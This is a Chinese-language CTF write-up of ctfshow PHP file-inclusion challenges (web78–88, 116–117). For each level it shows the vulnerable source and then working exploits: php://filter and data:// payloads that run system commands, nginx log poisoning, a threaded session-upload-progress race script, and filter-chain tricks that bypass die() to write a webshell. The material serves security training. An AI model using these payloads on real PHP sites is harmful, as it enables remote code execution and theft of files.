CTFSHOW-web入门-文件包含

文件包含

web78

源码:

1
2
3
4
5
6
7
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
?file=php://filter/read=convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

web79

源码:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

利用str_replace函数把php替换成了???

用另一个伪协议

1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs= //<?php system('tac flag.php');

web80

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了data 上一题的payload不能用了

随便访问一个不存在的文件可以看到服务器是nginx

image-20210730152304794

区包含日志文件

1
?file=/var/log/nginx/access.log

因为太乱了 不好看 所以直接传个马

image-20210730153039191

image-20210730153126544

image-20210730153144650

这样也可以

image-20210730153327503

web81

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

包含日志文件 然后包含UA

1
?file=/var/log/nginx/access.log

image-20210730153515245

web82

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

因为过滤了. 无法继续包含access.log了

新技巧:

session.upload_progress进行文件包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 cnblogs.com

1
问题一代码里没有session_start(),如何创建session文件呢。解答一其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。问题二但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,如何进行rce呢?解答二此时我们可以利用竞争,在session文件内容清空前进行包含利用。                session是以文件的形式保存的php.ini中有个配置项–session.save_path= "";这个里面填写的路径,将会使session文件保存在该路径下。session文件的命名格式是:sess_[PHPSESSID的值]。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;就会促发php的session机制,结果往对应的session文件中写入一个值。    利用前要弄明白下面几个点:        session文件默认路径默认路径:linux: /tmp 或 /var/lib/php/sessionWindows:C:\WINDOWS\Temp        session文件名称默认文件名称是 sess_[PHPSESSID的值]ps: session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID比如,我们在Cookie里设置PHPSESSID=test,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO        session生成机制:a. 代码里面有session_start()在使用类似$_SESSION['user_id'] = $value;这样的操作时会创建session文件b. 如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,这个选项都是关闭的。        如何控制session文件内容a. session的key或者value等可控b.利用session.upload_progress在session.upload_progress.enabled = on的配置下,upload_progress功能开始.意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(可以利用条件竞争来读取)session.uoload_progress一些别的配置:session.upload_progress.prefix 默认值为upload_progress_session.upload_progress.name : The name of the key to be used in $_SESSION storing the progress information.Defaults to “PHP_SESSION_UPLOAD_PROGRESS”如 session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件:

可以通过上传PHP_SESSION_UPLOAD_PROGRESS

然后进行访问/tmp/sess_xxx,进行文件包含

构造上传

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://addf542d-ec14-4925-b7ed-0a36a4d564dd.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> //关键点
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

第一个post包

image-20210730162018162

image-20210730162058438

第二个get包

image-20210730162032534

一起开启爆破

image-20210730162153103

看到fl0g.php

修改post包的payload

image-20210730162252493

继续同时发包

image-20210730162239561

通杀脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://7920d625-4983-43eb-9d4f-335e57303fd0.chall.ctf.show/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web83

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

比上一题多了两个函数

session_unset();
session_destroy();

出现警告 在进行使用session_destroy()函数必须先调用session_start()函数。

构造上传

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://9d4ecb4e-30d2-405b-860a-87a76d92636e.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> //关键点
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

第一个post包

image-20210804205348930

第二个get包

image-20210804205414642

一起开启爆破 得到flag文件名

image-20210804205455864

修改脚本 读取flag

image-20210804205603718

image-20210804205548412

web84

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

还是与之前一样 利用条件竞争读取

这次换个方式 改用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://7f361bb4-bfdc-40f2-b785-27c7fd0ce035.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web85

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

判断了php开头标签位置

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://34620425-6d06-42a7-a9c8-cd0474a728a0.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web86

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://9a5485a7-b096-40d7-a2f9-13ca7edddb77.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web87

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

相关知识:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xz.aliyun.com/t/8163#toc-3

死亡exit

使用base64绕过die函数

1
php://filter/write=convert.base64-decode/resource=1.php
1
PD9waHAgc3lzdGVtKCd0YWMgZionKTs= //<?php system('tac f*');

在base64语句前随便加两个字符 凑够phpdiexx 可以被base64解码

剩下的PD9waHAgc3lzdGVtKCd0YWMgZionKTs= 正常被解码然后执行

1
content=aaPD9waHAgc3lzdGVtKCd0YWMgZionKTs=

urldecode($file)

浏览器解码一次 函数解码一次

所以需要对file进行二次url编码

image-20210810150446961

image-20210810150517046

然后访问php文件即可看到flag ( 也可以写一个一句话木马进去)

web88

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

get方式接收file参数 过滤了很多符号 如果能够通过匹配就被包含

和79题差不多 但是这里过滤了等号 base64中=是用来填充的 可以去掉

1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw

PD9waHAgc3lzdGVtKCd0YWMgKicpOw //<?php system('tac *');

web116

打开网页是一段视频

用foremost提取出一张图片

00080067

直接查看flag.php

file_get_contents可以直接读取

1
view-source:http://85a4a1cb-1bc9-4085-b47d-207e3bb654ae.challenge.ctf.show:8080/index.php?file=flag.php

web117

死亡exit

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

需要绕过die 过滤了常用的base64和rot13

换一个编码方式 php支持的字符编码

payload:

1
2
3
4
5
6
GET
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST
contents=?<hp pvela$(P_SO[T]1;)>?
URL/1.php
1=system('tac f*');

###